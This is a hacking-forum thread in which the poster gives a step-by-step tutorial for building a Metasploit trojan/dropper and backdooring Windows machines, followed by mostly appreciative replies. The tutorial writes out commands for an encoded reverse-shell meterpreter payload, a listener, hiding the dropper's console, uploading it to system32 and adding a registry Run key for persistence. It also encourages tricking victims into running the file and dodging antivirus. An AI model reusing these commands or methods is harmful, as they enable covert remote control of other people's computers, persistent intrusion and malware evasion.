[XYLA]

Hi HF

This is for educational purposes only

Today i show you how to create a trojan/dropper for metasploit and how to backdoor Windows with it.

Here is the method I present to you but I am not the author of this video:

http://www.securitytube.net/video/3745

Operating systems used

Backtrack 5 R2 = Attacker(192.168.1.97)
Windows XP sp3

Operating systems vulnerable

Windows 7 and Xp Any Versions = Slave (192.168.1.7)

Software requirements

Dev-C + + Version 4.9.9.2 (in XP)
The Source Code of the video.

1 - Create the file ascii.bin

Launch this command in a console on Backtrack :

Code

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=4444 R|msfencode -e x86/shikata_ga_nai -t raw -a x86 -b '\x00\x0a\x0d' -c 1 X> /root/Desktop/ascii.bin

And copy the ascii.bin in /var/www

Code

Pixo@Backtrack 5 R2# cp /root/Desktop/ascii.bin /var/www

2-Create the trojan/dropper

In Win XP open Dev-C ++ and click on file => new => project
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/393548project11.png[/IMG]

Select empty project and name it
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/150312project12.png[/IMG]

Then create a new source file
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/521217newsourcefile.png[/IMG]

Click on file => save as, and name it
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/775736saveasmaincpp2.png[/IMG]

Go to

Code

http://www.el-palomo.com/wp-content/uploads/2012/03/codigoC.txt

Copy and Paste the Code
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/131217pastecodigo.png[/IMG]

Now replace the ip address with backtrack ip address
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/413551ModifyAddress.png[/IMG]

Open the options of project
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/735677ProjectOptions1.png[/IMG]

Add a link for wininet with the -lwininet command
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/276435ProjectOptions2.png[/IMG]

For the console is not visible this option is added
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/822656dontcreateconsole.png[/IMG]

Here you can compil your Trojan/Dropper
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/234247compil.png[/IMG]

3-Get a Meterpreter

Start the listener with this command

Code

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.97 Autorunscript='migrate -n explorer.exe' E

Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/318672listener.png[/IMG]

You can use all of method you want to get a meterpreter.

You can social and send your dropper.
Spoiler (Click to View)[IMG]http://img11.hostingpics.net/pics/610573executedropper.png[/IMG]

-For add a icon for your dropper you can use the method used in this thread

You can exploit a vulnerability.

4-Create the persistent backdoor 🤭

(I know the script persistence.rb there, but I wanted to do a backdoor persistent and undetectable as possible by the antivirus)

If you use the method for add an icon you can add %windir%\system32 in the extract dir.
If you not you can use the meterpreter for upload your dropper with this command:

Code

meterpreter> upload /root/exec.exe C:\\Windows\\system32\\

Add an entry in the register for launch your dropper at windows start

Code

meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v exec -d '"c:\windows\system32\exec.exe"'

Check the register

Code

meterpreter>reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

During the reboot restart your listener

Code

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.97 Autorunscript='migrate -n explorer.exe' E

You may find your Meterpreter restarts automatically soon as a session is opened.

Conclusion

🤝 From here you are the master on board.🤝

I hope you enjoy it and I'm always looking for a way to inject shellcode into an image and if possible make it undetectable.
You will find links who talk about it on my other TuT all methods of evasion antivirus with metasploit

Analysis :
ascii.bin : https://www.virustotal.com/file/3a2976ff...334400026/
exec.exe : https://www.virustotal.com/file/da1ba033...334409609/

♥My Other TuT's♥:
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT]
all methods of evasion antivirus with metasploit
[TuT] ♥EvilGrade♥ or how to falsify WinUpdates and deliver your ♥Meterpreter♥ . [TuT]

[x0rk]

Nice tutorial, as i can see are you french ?

[XYLA]

Thank you for the return.
Yes I'm French.
You too?

♥My Other TuT's♥:
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT]
all methods of evasion antivirus with metasploit
[TuT] ♥EvilGrade♥ or how to falsify WinUpdates and deliver your ♥Meterpreter♥ . [TuT]

[Ferragamo]

Good Bye Google. Learning new things everyday

[/Ninja]

Well this is very nice i will start giving this a try right now. Just finished installing my new version of BT. I can practice on some local machines here lol

[SleazeBeez]

This sound really clever! Thanks for sharing!

[Pull]

Dude nice tutorial but can you change the font to something less annoying >.<

[buttErz]

thanks Pixo, I been looking for ways to slip by anti-x w/o a FUD crypter... testing for myself now, appreciate it!
edit: lol meant to post this on your other tut ha

[XYLA]

Thanks.

♥My Other TuT's♥:
[TuT]♥Avoid Antivirus♥ and install a ♥Persistent Backdoor♥ With Metasploit[TuT]
all methods of evasion antivirus with metasploit
[TuT] ♥EvilGrade♥ or how to falsify WinUpdates and deliver your ♥Meterpreter♥ . [TuT]

[ting]

Great thing...
Thanks for your tutorial..

Good Luck..

[XYLA]

For this thread too, i make a video :

https://hackforums.net/showthread.php?tid=2468812

[PoRt21]

wow gd share mate
very HQ
thank you for share keep it up,,

[prtablegm]

Pixo,just keeping this where it is needed.

Portablegamemaster

[XYLA]

I like your concern !
✌😁✌ 🤝

[Ametz]

Bookmarked. I will try this in the future.